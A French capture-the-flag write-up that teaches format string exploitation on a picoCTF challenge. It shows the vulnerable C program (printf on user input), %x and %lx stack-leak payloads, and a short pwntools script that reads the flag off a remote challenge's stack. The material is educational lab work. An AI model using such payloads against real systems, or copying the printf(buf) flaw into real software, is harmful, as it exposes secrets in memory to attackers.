Shrug

Guide des format string (partie 1)

#BinaryExploit#PWN#bowie41

Lire des données avec les format string

Dans ce guide, on va découvrir les bases de l'exploitation de format string en résolvant un challenge du picogim :

Patrick and Sponge Bob were really happy with those orders you made for them, but now they're curious about the secret menu. Find it, and along the way, maybe you'll find something else of interest! Download the binary here. Download the source here. Additional details will be available after launching your challenge instance.

Pour ce challenge, on nous donne le fichier executable a exploiter et le code source en C :

#include <stdio.h> int main() { char buf[1024]; char secret1[64]; char flag[64]; char secret2[64]; // Read in first secret menu item FILE *fd = fopen("secret-menu-item-1.txt", "r"); if (fd == NULL){ printf("'secret-menu-item-1.txt' file not found, aborting.\n"); return 1; } fgets(secret1, 64, fd); // Read in the flag fd = fopen("flag.txt", "r"); if (fd == NULL){ printf("'flag.txt' file not found, aborting.\n"); return 1; } fgets(flag, 64, fd); // Read in second secret menu item fd = fopen("secret-menu-item-2.txt", "r"); if (fd == NULL){ printf("'secret-menu-item-2.txt' file not found, aborting.\n"); return 1; } fgets(secret2, 64, fd); printf("Give me your order and I read it back to you:\n"); fflush(stdout); scanf("%1024s", buf); printf("Here's your order: "); printf(buf); printf("\n"); fflush(stdout); printf("Bye!\n"); fflush(stdout); return 0; }

En lisant rapidement le code, on se rend compte que le fichier ouvre trois fichiers et stocke leur contenu dans trois variables :

  • secret-menu-item-1.txt -> secret1
  • flag.txt -> flag
  • secret-menu-item-2.txt -> secret2

On note que ces trois variables ont la meme taille : 64

char secret1[64]; char flag[64]; char secret2[64];

Et que le fichier ne s'éxécute pas s'il ne trouve pas un des trois fichiers, je créé donc les trois fichier :

terminal
bash
$- echo picoCTF{flag} > flag.txt # on créé le fichier flag.txt avec picoCTF{flag} comme exemple dedans $- echo item_secret_1 > secret-menu-item-1.txt # même concept ici $- echo item_secret_2 > secret-menu-item-2.txt # et ici aussi

Le but du chall va donc etre de lire le contenu du fichier flag.txt, soit de lire la variable flag

On execute le code pour tester :

terminal
bash
$- ./format-string-1 Give me your order and I read it back to you: > un_classic_burger Here's your order: un_classic_burger Bye!

Le programme fait ce à quoi on s'attendais, il prend une entrée utilisateur puis la renvoie grace a

printf(buf);

Concept

Cependant, la fonction printf peut prendre ce qu'on appelle des format specifier pour afficher une variable, ils sont là pour préciser quel est le type de donnée a print.
On utilise les format specifier avec la syntaxe suivante :

printf("%format", variable);

Avec :

  • format le format specifier
  • variable la variable a afficher

On peut utiliser de nombreux format specifiers dont :

SpecifierTypeSortie
cCaractèreAffiche un seul caractère
iEntierAffiche un entier en décimal (base 10)
xEntierAffiche un entier en hexadécimal (base 16)
pEntierAffiche un entier en hex avec le préfixe 0x
sChaineAffiche une chaine de caracteres

Exemples :

Format specifier c

Bac à sable C 10.2.0


Format specifier i

Bac à sable C 10.2.0


Format specifier x

Bac à sable C 10.2.0

Base 10Base 16

Entrée

1234

Résultat

4d2


Format specifier p

Bac à sable C 10.2.0


Format specifier s

Bac à sable C 10.2.0

On peut meme utiliser plusieurs format spécifier dans un seul printf en précisant pluieurs variables a afficher :

Bac à sable C 10.2.0

Cependant, en mettant des format specifiers sans donner de variable, on observe un comportement étrange :

Bac à sable C 10.2.0

Le programme semble trouver des valeurs a afficher même si on ne lui en donne pas. En réalité, même si on ne passe pas de variable dans printf et qu'on lui demande d'en afficher il va lire des valeurs de registres puis la stack de haut en bas.
Les variables étant stockées sur la stack, il est donc possible de les lire grace à cette mécanique.

Application

Dans notre challenge, on va donc essayer d'entrer %x pour voir si le programme nous renvoie bien une valeur inatendue.

terminal
bash
$- ./format-string-1 Give me your order and I read it back to you: > %x Here's your order: b164c4e8 Bye!

La théorie était exacte et le programme nous renvoie bien une valeur a la place de notre commande !

On sait donc que le flag est quelque part sur la stack (car stocké dans une variable) et qu'on peut la lire grace à cette faille. On met donc plein de %x en input pour voir si on trouve le flag :

terminal
bash
$- ./format-string-1 Give me your order and I read it back to you: > %x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x Here's your order: c6a89060-0-0-a-400-6d657469-5f746572-0-93bf7ab0-3de00ec7-93bed9d7-4-0-6f636970-67616c66-c6a89290-0-93bf7ab0-c6a89288-c6a89380 Bye!

Note: on utilise des - pour séparer les %x car scanf ne marche pas avec les espaces

On se rends compte que le programme renvoie la valeur 6f636970 à la 14eme place, qui correspond a la string "pico" en little endian

Base 16ASCII

Entrée

7069636f

Résultat

pico

Et à la suite, la valeur 67616c66 à la 15eme place, qui correspond a la string "flag" en little endian

Base 16ASCII

Entrée

666c6167

Résultat

flag

Le flag semble donc etre quelque part par la mais il en manque des parties.

Le problème viens du fait qu'avec le format specifier %x, on lit des entiers de 32bit (soit 4 bytes ou 8 caractères en hexadécimal). Or notre executable est un ELF 64-bit

terminal
bash
$- file format-string-1 format-string-1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=62bc37ea6fa41f79dc756cc63ece93d8c5499e89, for GNU/Linux 3.2.0, not stripped

Le format specifier %x ne lit donc que le début des valeurs. Cependant, on peut ajouter un préfixe de taille a notre specifier. Il en existe de nombreux mais on utilise généralement les suivants :

PréfixeNomSortie
lEntierPrends 64 bits (soit 8 bytes ou 16 caracteres en hexadécimal)
hEntierPrends 16 bits (soit 2 bytes ou 4 caracteres en hexadécimal)

Ici, on cherche à récupérer une valeur de 64 bits donc on va utiliser le format spécifier %lx :

terminal
bash
$- ./format-string-1 Give me your order and I read it back to you: > %lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx-%lx Here's your order: 7ffe73839b80-0-0-a-400-6365735f6d657469-a325f746572-0-7d0b86993ab0-7ffe3de00ec7-7d0b869899d7-4-0-7b4654436f636970-a7d67616c66-7ffe73839db0-7d0b00000000-7d0b86993ab0-7ffe73839da8-7ffe73839ea0 Bye!

On retrouve notre valeur à la 14eme place : 7b4654436f636970 et celle a la 15eme place : a7d67616c66 (toujours en little endian)

Base 16ASCII

Entrée

7069636f4354467b

Résultat

picoCTF{
Base 16ASCII

Entrée

666c61677d0a

Résultat

flag}

On met alors en place l'exploit en remote (se connecter au challenge pour trouver le vrai flag) grace a python et la lib pwntools :

from pwn import * p = remote("HOST", PORT) payload = b'%14$lx-%15$lx' # on sait que les valeurs cherchées sont aux 14eme et 15eme places, on selectionne donc les valeurs directement avec %14$lx et %15$lx p.sendline(payload) p.interactive()

Puis on l'éxécute :

terminal
bash
$- python3 exploit.py [x] Opening connection to HOST on port PORT [x] Opening connection to HOST on port PORT: Trying XX.XX.XX.XX [+] Opening connection to HOST on port PORT: Done [*] Switching to interactive mode Give me your order and I read it back to you: Here's your order: 7b4654436f636970-355f31346d316e34 Bye! [*] Got EOF while reading in interactive

On a donc 7b4654436f636970 et 355f31346d316e34 (en little endian) :

Base 16ASCII

Entrée

7069636f4354467b

Résultat

picoCTF{
Base 16ASCII

Entrée

346e316d34315f35

Résultat

4n1m41_5

Il semble manquer la fin du flag. En effet, dans le code le flag peut faire jusqu'a 64 bytes de long or on ne lit que 82=168 * 2 = 16 bytes.
On prends donc 6 adresses de plus pour lire 88=648 * 8 = 64 bytes :

from pwn import * p = remote("HOST", PORT) payload = b'%14$lx-%15$lx-%16$lx-%17$lx-%18$lx-%19$lx-%20$lx-%21$lx' p.sendline(payload) p.interactive()
terminal
bash
$- python3 exploit.py [x] Opening connection to HOST on port PORT [x] Opening connection to HOST on port PORT: Trying XX.XX.XX.XX [+] Opening connection to HOST on port PORT: Done [*] Switching to interactive mode Give me your order and I read it back to you: Here's your order: 7b4654436f636970-355f31346d316e34-3478345f33317937-65355f673431665f-7d346263623736-7-7e49206dd8d8-2300000007 Bye! [*] Got EOF while reading in interactive

La valeur 7 ne faisant tres clairement pas partie du flag (trop petit pour correspondre a un caractere ascii), on déduit que le flag est dans les valeurs d'avant : 7b4654436f636970, 355f31346d316e34, 3478345f33317937, 65355f673431665f, 7d346263623736 (toutes en little endian) :

Base 16ASCII

Entrée

7069636f4354467b346e316d34315f35377931335f3478345f663134675f35653637626362347d00

Résultat

picoCTF{4n1m41_57y13_4x4_f14g_5e67bcb4}


Eh beh, bravo si t'as suivi c'était long :)